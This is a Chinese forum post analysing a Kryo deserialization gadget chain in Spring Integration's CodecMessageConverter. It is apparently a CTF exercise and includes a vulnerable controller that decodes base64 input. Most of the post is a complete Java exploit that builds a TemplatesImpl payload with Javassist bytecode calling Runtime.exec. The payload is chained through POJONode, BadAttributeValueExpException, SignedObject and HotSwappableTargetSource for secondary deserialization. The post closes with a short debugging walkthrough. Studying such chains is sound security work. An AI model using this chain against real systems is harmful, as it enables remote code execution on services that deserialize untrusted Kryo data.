八卦阵 发表于 2024-5-17 08:22:37

Kryo反序列化链分析

前言

Kryo是一个快速序列化/反序列化工具,依赖于字节码天生机制(底层使用了ASM库),因此在序列化速度上有一定的上风,但正因如此,其使用也只能限定在基于JVM的语言上。
Kryo序列化出的效果,是其自定义的,独有的一种格式。由于其序列化出的效果是二进制的,也即byte[],因此像redis这样可以存储二进制数据的存储引擎是可以直接将Kryo序列化出来的数据存进去。当然你也可以选择转换成String的形式存储在其他存储引擎中(性能有消耗)
环境搭建

<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>5.2.0</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-messaging</artifactId>
    <version>5.3.18</version>
</dependency>
<dependency>
    <groupId>org.springframework.integration</groupId>
    <artifactId>spring-integration-core</artifactId>
    <version>5.3.1.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.28.0-GA</version>
</dependency>例题

package com.sea;

import java.util.Base64;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class MessageController {
    public MessageController() {
    }

    @ResponseBody
    @RequestMapping({"/"})
    public Object message(String message) throws Exception {
      byte[] decodemsg;
      if (message == null) {
            decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
      } else {
            try {
                decodemsg = Base64.getDecoder().decode(message);
            } catch (Exception var5) {
                decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
            }
      }

      CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
      Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
      return messagecode.getPayload();
    }
}漏洞点在codecMessageConverter.toMessage里面,而且给了一个比较明显的base64字符串,看一下codecMessageConverter类,有一个toMessage和fromMessage,对应的就是反序列化和序列化了
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240414163237029-1964136765.png#id=fo5qW&originHeight=285&originWidth=656&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
Kyro反序列化链

package com.example.kryo;
import com.esotericsoftware.kryo.Kryo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.objenesis.strategy.StdInstantiatorStrategy;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;


public class Exploit {
    public static void main(String[] args) throws Exception {
      Kryo kryo = new Kryo();
      kryo.setRegistrationRequired(false);
      kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
      // 二次反序列化
      ClassPool pool = ClassPool.getDefault();
      CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
      ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
      CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
      ctClass.addConstructor(ctConstructor);
      byte[] byteCode = ctClass.toBytecode();

      Templates templates = new TemplatesImpl();
      setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
      setFieldValue(templates, "_name", "whatever");
      setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});

      POJONode pojoNode1 = new POJONode(templates);
      BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
      setFieldValue(badAttributeValueExpException, "val", pojoNode1);

      // 初始化 SignedObject
      KeyPairGenerator keyPairGenerator;
      keyPairGenerator = KeyPairGenerator.getInstance("DSA");
      keyPairGenerator.initialize(1024);
      KeyPair keyPair = keyPairGenerator.genKeyPair();
      PrivateKey privateKey = keyPair.getPrivate();
      Signature signingEngine = Signature.getInstance("DSA");
      // 设置二次反序列化入口
      SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

      // 一次反序列化
      POJONode pojoNode2 = new POJONode(signedObject);
      HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
      HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));

      // 手动构造 HashMap 以防触发正向利用链
      HashMap hashMap = new HashMap();
      setFieldValue(hashMap, "size", 2);
      Class nodeC;
      try {
            nodeC = Class.forName("java.util.HashMap$Node");
      } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
      }
      Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
      nodeCons.setAccessible(true);
      Object tbl = Array.newInstance(nodeC, 2);
      Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
      Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
      setFieldValue(hashMap, "table", tbl);
      //String serial = serial(hashMap);
      //System.out.println(serial);
      CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
      // 序列化
      GenericMessage genericMessage = new GenericMessage(hashMap);
      byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
      // 反序列化
      Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
      messagecode.getPayload();
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
      ByteArrayOutputStream baos = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(baos);
//      Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//      writeReplaceMethod.setAccessible(true);
      oos.writeObject(o);
      oos.close();

      String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
      return base64String;

    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(name);
      field.setAccessible(true);
      field.set(obj, value);
    }
}分析一下链子的流程,在toMessage处打个断点,nmmd,断点停不住,艹了,手动分析一波
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240414195117190-747515917.png#id=gsmSz&originHeight=696&originWidth=1598&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入decode方法
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240414195253613-542551442.png#id=ewwuz&originHeight=162&originWidth=1565&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
这里触发kryo的readObject,手动进去
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240414195408038-1160999637.png#id=Bpmaz&originHeight=755&originWidth=1517&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入read方法,这里为MapSerializer的read方法https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240414195732584-1900572603.png#id=bNrzh&originHeight=698&originWidth=1317&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
这个map是我们的恶意map,通过触发equals方法来触发我们之后一系列的链子,这个之后的链子就是我们的jackson链,就不多说了,到此为止....

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Kryo反序列化链分析